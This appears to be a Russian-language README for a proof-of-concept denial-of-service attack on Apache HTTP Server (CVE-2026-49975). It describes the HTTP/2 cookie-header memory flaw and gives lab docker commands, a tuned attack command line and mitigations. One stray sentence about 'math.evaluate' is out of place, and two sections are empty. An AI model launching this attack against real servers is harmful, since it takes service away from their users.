CVE-2026-49975 HTTP/2 Bomb

★ CVE-2026-49975 HTTP/2 Bomb PoC ★

Обзор

CVE-2026-49975 — это уязвимость типа Отказ в обслуживании (DoS) в Apache HTTP Server. Уязвимость возникает в пути обработки HTTP/2 запросов, где несколько полей заголовка cookie могут быть объединены без правильного учёта в LimitRequestFields. Отправляя небольшой HPACK-кодированный HTTP/2 запрос, который расширяется во множество полей заголовка cookie, злоумышленник может заставить сервер многократно выделять память при объединении заголовков Cookie. Затем злоумышленник может использовать управление потоком HTTP/2 для задержки передачи ответов, оставляя затронутые потоки открытыми и предотвращая освобождение выделенной памяти.

Затронутые версии

Воздействие

• Удалённый отказ в обслуживании (DoS)
• Чрезмерное потребление памяти
• Задержка или сбой обработки обычных пользовательских запросов

Окружение

Соберите и запустите уязвимое окружение Apache HTTP Server.

docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

PoC

После запуска уязвимого окружения выполните следующие шаги для воспроизведения атаки.

Шаг 1. Мониторинг использования памяти сервера

docker stats cve-2026-49975

Пример вывода:

CONTAINER ID   NAME             CPU %   MEM USAGE / LIMIT     MEM %
xxxxxxxxxxxx   cve-2026-49975   0.5%    35.2MiB / 8.0GiB      1.7%

Шаг 2. Запустите PoC HTTP/2 Bomb

Отправьте следующее выражение в math.evaluate (например, через поле ввода вычислений приложения).

python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

Шаг 3. Подтверждение результата

Проверьте, что использование памяти контейнера Apache увеличивается и остаётся высоким, пока потоки атаки удерживаются открытыми.

Смягчение

• Обновите Apache HTTP Server до версии 2.4.68 или новее
• Рассмотрите временное отключение HTTP/2, если это не требуется для работы сервиса

Анализ

• KR:
• EN: